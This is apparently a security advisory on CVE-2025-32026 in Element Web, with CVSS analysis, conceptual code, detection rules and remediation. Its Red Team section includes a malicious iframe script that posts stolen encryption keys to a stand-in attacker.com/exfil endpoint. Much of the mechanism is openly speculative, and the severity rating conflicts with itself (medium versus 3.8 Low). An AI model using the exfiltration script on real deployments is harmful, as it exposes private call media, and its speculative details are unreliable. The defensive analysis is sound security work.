CVE-2025-32026

Executive Summary

CVE-2025-32026 is a medium-severity information disclosure vulnerability affecting Element Web, a popular Matrix web client. The flaw resides in the mechanism that loads Element Call from an external URL. Under specific conditions, an attacker-controlled external page can access media encryption keys used during an Element Call session. This could allow an attacker to decrypt intercepted call media, compromising the confidentiality of voice and video communications. The vulnerability affects versions 1.11.16 through 1.11.96 and is fixed in version 1.11.97.

Supply Chain & Package Security

Element Web is an open-source project distributed via npm (@vector-im/element-web). The vulnerability is introduced through the application's configuration, which allows loading the Element Call component from an external URL. This configuration is typically set by the deployment administrator. The fix in version 1.11.97 likely involves stricter validation of the external URL or changes to how the encryption keys are exposed to the iframe context. Organizations should verify the integrity of their Element Web deployment and ensure they are using a trusted, patched version.

CVSS Breakdown & Threat Level

• CVSS Score: 3.8 (Low)
• Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
• Attack Vector (AV): Network – The attack is carried out over the network.
• Attack Complexity (AC): High – The attacker must control the external URL from which Element Call is loaded and craft a specific scenario to extract the keys.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): Required – The victim must be in an active Element Call session.
• Scope (S): Unchanged – The vulnerable component and the attacker's code are in the same security context.
• Confidentiality (C): Low – Only the media encryption keys are exposed, not the entire system.
• Integrity (I): None – No data modification is possible.
• Availability (A): None – No denial of service.

Threat Level: Low. The high attack complexity and required user interaction significantly reduce the likelihood of exploitation. However, the potential impact on communication confidentiality warrants attention.

Deep Dive & Mechanics

The vulnerability stems from how Element Web integrates Element Call. When configured to load Element Call from an external URL (e.g., https://call.element.io), the main Element Web application creates an iframe pointing to that URL. The iframe is responsible for handling the call's media streams and encryption.

Under normal operation, the encryption keys are managed within the iframe's context and are not accessible to the parent window. However, due to a flaw in the postMessage API handling or the way the iframe's origin is validated, an attacker who controls the external URL can inject malicious JavaScript that listens for and exfiltrates the encryption keys. This could be achieved if the attacker can set up a rogue Element Call server or compromise the legitimate one.

The attack flow:

1. The victim's Element Web is configured to load Element Call from https://attacker-controlled.com/call.
2. The victim starts an Element Call session.
3. The attacker's malicious iframe code intercepts the encryption key exchange (e.g., via the Matrix JS SDK's internal events) and sends the keys to the attacker's server.
4. The attacker can then decrypt any recorded or intercepted media from that call.

Vulnerable vs. Patched Code

The exact code change is not publicly available, but the fix likely involves one or more of the following:

• Origin Validation: Ensuring that the iframe's origin matches a whitelist of trusted domains before allowing key exchange.
• Key Isolation: Moving the encryption key management entirely into the iframe's context and preventing the parent window from accessing it via postMessage.
• Content Security Policy (CSP): Adding a CSP header that restricts the sources from which scripts can be loaded.

Vulnerable Code (Conceptual):

// In Element Web (v1.11.16 - v1.11.96)
window.addEventListener('message', (event) => {
  // No origin check
  if (event.data.type === 'call_encryption_keys') {
    // Keys are exposed to any origin
    console.log('Encryption keys received:', event.data.keys);
  }
});

Patched Code (Conceptual):

// In Element Web (v1.11.97+)
const ALLOWED_CALL_ORIGINS = ['https://call.element.io', 'https://your-own-call-server.com'];
window.addEventListener('message', (event) => {
  if (ALLOWED_CALL_ORIGINS.includes(event.origin)) {
    if (event.data.type === 'call_encryption_keys') {
      // Only process if origin is trusted
      console.log('Encryption keys received from trusted origin:', event.data.keys);
    }
  } else {
    console.warn('Ignoring message from untrusted origin:', event.origin);
  }
});

Exploitation & Lab Setup

Red Team

Prerequisites:

• A controlled domain (e.g., attacker.com) with HTTPS.
• A malicious Element Call iframe page.
• A victim running Element Web v1.11.16 to v1.11.96 configured to load Element Call from https://attacker.com/call.

Steps:

1. Set up a web server on attacker.com to serve the malicious iframe content.
2. Create an HTML page at https://attacker.com/call that mimics the Element Call interface but includes malicious JavaScript.
3. The malicious script listens for postMessage events containing encryption keys and sends them to an attacker-controlled endpoint.
4. Lure the victim into starting an Element Call session. The victim's Element Web will load the malicious iframe.
5. The attacker captures the encryption keys and can decrypt any recorded media.

Example Malicious iframe Code:

<!DOCTYPE html>
<html>
<head>
  <title>Element Call</title>
</head>
<body>
  <script>
    // Listen for encryption keys from the parent window
    window.addEventListener('message', (event) => {
      if (event.data && event.data.type === 'encryption_keys') {
        // Exfiltrate the keys
        fetch('https://attacker.com/exfil', {
          method: 'POST',
          body: JSON.stringify({ keys: event.data.keys }),
          mode: 'no-cors'
        });
      }
    });

    // Simulate normal call behavior to avoid suspicion
    console.log('Element Call loaded');
  </script>
</body>
</html>

Blue Team

Detection:

• Monitor for unexpected outbound connections from the Element Web application to unknown domains.
• Check the configured Element Call URL in the Element Web settings. It should point to a trusted, official source.
• Review server logs for unusual referrer headers or user-agent strings associated with Element Web.

Hunting:

• Search for instances of Element Web where the element_call_url configuration is set to a non-standard domain.
• Use network monitoring tools to detect iframes loading from unexpected origins.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections to domains not in the trusted Element Call whitelist.
  • POST requests to /exfil or similar endpoints from the Element Web origin.
• File:
  • Modified config.json or environment variables where element_call_url points to an untrusted domain.
• Logs:
  • Browser console logs showing Ignoring message from untrusted origin (after patch) or unexpected encryption_keys messages.

Detection Engineering

YARA Rule

rule Detect_ElementWeb_CVE_2025_32026_Exploit {
  meta:
    description = "Detects malicious iframe pages attempting to exploit CVE-2025-32026"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "CVE-2025-32026"
  strings:
    $s1 = "encryption_keys" ascii wide nocase
    $s2 = "postMessage" ascii wide nocase
    $s3 = "element_call_url" ascii wide nocase
  condition:
    all of them
}

Sigma Rule

title: Suspicious Element Call URL Configuration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects when Element Web is configured to load Element Call from an untrusted external URL.
author: Valters IT
date: 2025-04-10
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\element-web.exe'
    CommandLine|contains: 'element_call_url'
  condition: selection
falsepositives:
  - Legitimate custom Element Call deployments
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32026 - Potential Element Call Key Exfiltration"; flow:to_server; content:"POST"; http_method; content:"/exfil"; http_uri; content:"encryption_keys"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade Element Web to version 1.11.97 or later.
• Verify the element_call_url configuration points to a trusted, official source (e.g., https://call.element.io).

Long-term:

• Implement a strict Content Security Policy (CSP) that restricts the sources from which iframes can be loaded.
• Regularly audit third-party integrations and their security implications.
• Monitor for CVEs related to Element Web and apply patches promptly.

Workaround:

• If upgrading is not immediately possible, disable the external Element Call feature by setting element_call_url to an empty string or a local, trusted URL.

Valters IT